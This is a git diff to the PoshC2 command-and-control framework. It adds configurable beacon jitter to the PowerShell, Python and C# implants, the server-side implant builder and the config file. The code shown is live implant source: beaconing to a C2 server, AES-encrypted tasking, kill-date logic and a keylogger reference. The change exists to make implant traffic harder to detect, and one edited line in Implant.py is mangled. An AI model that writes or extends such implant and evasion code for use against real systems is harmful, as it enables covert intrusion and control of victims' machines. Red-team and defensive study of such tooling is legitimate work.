diff --git a/Config.py b/Config.py
index 7ddeced..1c624ad 100644
--- a/Config.py
+++ b/Config.py
@@ -9,6 +9,7 @@ ROOTDIR = "/opt/PoshC2_Project/"
 HostnameIP = "https://192.168.233.1"
 DomainFrontHeader = "" # example df.azureedge.net
 DefaultSleep = "5s"
+Jitter = 0.20
 KillDate = "08/06/2019"
 UserAgent = "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko"
 urlConfig = UrlConfig("%soldurls.txt" % POSHDIR) # Instantiate UrlConfig object - old urls using a list from a text file
diff --git a/Files/Implant-Core.ps1 b/Files/Implant-Core.ps1
index b329a86..3f25544 100644
--- a/Files/Implant-Core.ps1
+++ b/Files/Implant-Core.ps1
@@ -1,4 +1,5 @@
 $key="%s"
+$jitter=%s
 Function Beacon($sleeptime) {
     if ($sleeptime.ToLower().Contains('m')) { 
         $sleeptime = $sleeptime -replace 'm', ''
@@ -119,17 +120,17 @@ function Encrypt-String($key, $unencryptedString) {
     [System.Convert]::ToBase64String($fullData)
 }
 function Encrypt-Bytes($key, $bytes) {
-  [System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
-  $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
-  $gzipStream.Write( $bytes, 0, $bytes.Length )
-  $gzipStream.Close()
-  $bytes = $output.ToArray()
-  $output.Close()
-  $aesManaged = Create-AesManagedObject $key
-  $encryptor = $aesManaged.CreateEncryptor()
-  $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
-  [byte[]] $fullData = $aesManaged.IV + $encryptedData
-  $fullData
+    [System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
+    $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
+    $gzipStream.Write( $bytes, 0, $bytes.Length )
+    $gzipStream.Close()
+    $bytes = $output.ToArray()
+    $output.Close()
+    $aesManaged = Create-AesManagedObject $key
+    $encryptor = $aesManaged.CreateEncryptor()
+    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
+    [byte[]] $fullData = $aesManaged.IV + $encryptedData
+    $fullData
 }
 function Decrypt-String($key, $encryptedStringWithIV) {
     $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
@@ -188,7 +189,7 @@ while($true)
     $date = [datetime]::ParseExact($date,"dd/MM/yyyy",$null)
     $killdate = [datetime]::ParseExact("%s","dd/MM/yyyy",$null)
     if ($killdate -lt $date) {exit}
-    $sleeptimeran = $sleeptime, ($sleeptime * 1.1), ($sleeptime * 0.9)
+    $sleeptimeran = $sleeptime, ($sleeptime * (1 + $Jitter)), ($sleeptime * (1 - $Jitter))
     $newsleep = $sleeptimeran|get-random
     if ($newsleep -lt 1) {$newsleep = 5}
     start-sleep $newsleep
diff --git a/Files/Implant-Core.py b/Files/Implant-Core.py
index 1a3a7a4..9e57203 100644
--- a/Files/Implant-Core.py
+++ b/Files/Implant-Core.py
@@ -15,6 +15,7 @@ urls = [%s]
 kd=time.strptime("%s","%%d/%%m/%%Y")
 useragent = ""
 imbase = "%s"
+jitter = %s
 
 def keylog():
   # keylogger imported from https://raw.githubusercontent.com/EmpireProject/Empire/fcd1a3d32b4c37a392c59ffe241b9cb973fde7f4/lib/modules/python/collection/osx/keylogger.py
@@ -96,7 +97,8 @@ while(True):
     uri = "%s"
     server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri)
     try:
-      time.sleep(timer)
+      this_timer = random.randint(timer * (1 - jitter), timer * (1 + jitter))
+      time.sleep(this_timer)
       ua='%s'
       if hh: req=urllib2.Request(server,headers={'Host':hh,'User-agent':ua})
       else: req=urllib2.Request(server,headers={'User-agent':ua})
diff --git a/Files/dropper.cs b/Files/dropper.cs
index 41245c5..ca28fdb 100644
--- a/Files/dropper.cs
+++ b/Files/dropper.cs
@@ -210,6 +210,10 @@ public class Program
 			m = re.Match(x);
 			var Sleep = m.Groups[1].ToString();
 
+			re = new Regex("JITTER2025(.*)5202RETTIJ");
+			m = re.Match(x);
+			var Jitter = m.Groups[1].ToString();
+
 			re = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
 			m = re.Match(x);
 			var NewKey = m.Groups[1].ToString();
@@ -218,7 +222,7 @@ public class Program
 			m = re.Match(x);
 			var IMGs = m.Groups[1].ToString();
 
-			ImplantCore(baseURL, RandomURI, URLS, KillDate, Sleep, NewKey, IMGs);
+			ImplantCore(baseURL, RandomURI, URLS, KillDate, Sleep, NewKey, IMGs, Jitter);
 		}
 	}
 
@@ -365,7 +369,7 @@ public class Program
 		}
 	}
 	
-	static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS)
+	static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
 	{
 		UrlGen.Init(stringURLS, RandomURI, baseURL);
 		ImgGen.Init(stringIMGS);
@@ -381,7 +385,7 @@ public class Program
 		Console.SetOut(strOutput);
 		var exitvt = new ManualResetEvent(false);
 		var output = new StringBuilder();
-		while (!exitvt.WaitOne((int)(beacontime * 1000 * (((new Random()).Next(0, 2) > 0) ? 1.05 : 0.95))))
+		while (!exitvt.WaitOne((int)(new Random().Next((int)(beacontime * 1000 * (1F - Double.Parse(Jitter))), (int)(beacontime * 1000 * (1F + Double.Parse(Jitter)))))))
 		{
 			if (Convert.ToDateTime(KillDate) < DateTime.Now)
 			{
diff --git a/Implant.py b/Implant.py
index 40bd05a..ae9dbf5 100644
--- a/Implant.py
+++ b/Implant.py
@@ -2,7 +2,7 @@
 
 from Colours import Colours
 from Utils import randomuri, gen_key  
-from Config import PayloadsDirectory, FilesDirectory
+from Config import PayloadsDirectory, FilesDirectory, Jitter
 from DB import select_item, get_defaultbeacon, get_killdate, get_dfheader, get_otherbeaconurls, get_defaultuseragent, new_implant, new_task, update_mods, get_autoruns
 from Core import get_images
 
@@ -28,6 +28,7 @@ class Implant(object):
     self.UserAgent = get_defaultuseragent()
     self.Sleep = get_defaultbeacon()
     self.ModsLoaded = ""
+    self.Jitter = Jitter
     self.ImplantID = ""
     self.Pivot = pivot
     self.KillDate = get_killdate()
@@ -39,16 +40,17 @@ RANDOMURI19901%s10991IRUMODNAR
 URLS10484390243%s34209348401SLRU
 KILLDATE1665%s5661ETADLLIK
 SLEEP98001%s10089PEELS
+JITTER2025%s5202RETTIJ
 NEWKEY8839394%s4939388YEKWEN
-IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs, self.KillDate, self.Sleep, self.Key, self.AllBeaconImages)
+IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs, self.KillDate, self.Sleep, self.Jitter, self.Key, self.AllBeaconImages)
     with open("%spy_dropper.sh" % (PayloadsDirectory), 'rb') as f:
         self.PythonImplant = base64.b64encode(f.read())
     py_implant_core = open("%s/Implant-Core.py" % FilesDirectory, 'r').read()
-    self.PythonCore = py_implant_core % (self.DomainFrontHeader,self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Key, self.RandomURI, self.UserAgent)
+    self.PythonCore = py_implant_core % (self.DomainFrontHeader,self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Jitter, self.Key, self.RandomURI, self.UserAgent)
     ps_implant_core = open("%s/Implant-Core.ps1" % FilesDirectory, 'r').read()
-    self.PSCore = ps_implant_core % (self.Key, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs)
-#Add all db elements
+    self.PSCore = ps_implant_core % (self.Key, self.Jitter, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs) #Add all db elements def display(self):
 
+  #Add all db elements
   def display(self):
     print Colours.GREEN,""
     it = self.Pivot
diff --git a/changelog.txt b/changelog.txt
index bb6fa76..2929d59 100644
--- a/changelog.txt
+++ b/changelog.txt
@@ -10,6 +10,7 @@ Add ability to upload a file to an ADS
 Update BloodHound
 Pull out unpatched payloads into file for easy management
 Add base64 encoded versions of the shellcode to the payloads directory
+Add a configurable jitter to all implants
 
 4.8 (13/02/19)
 ==============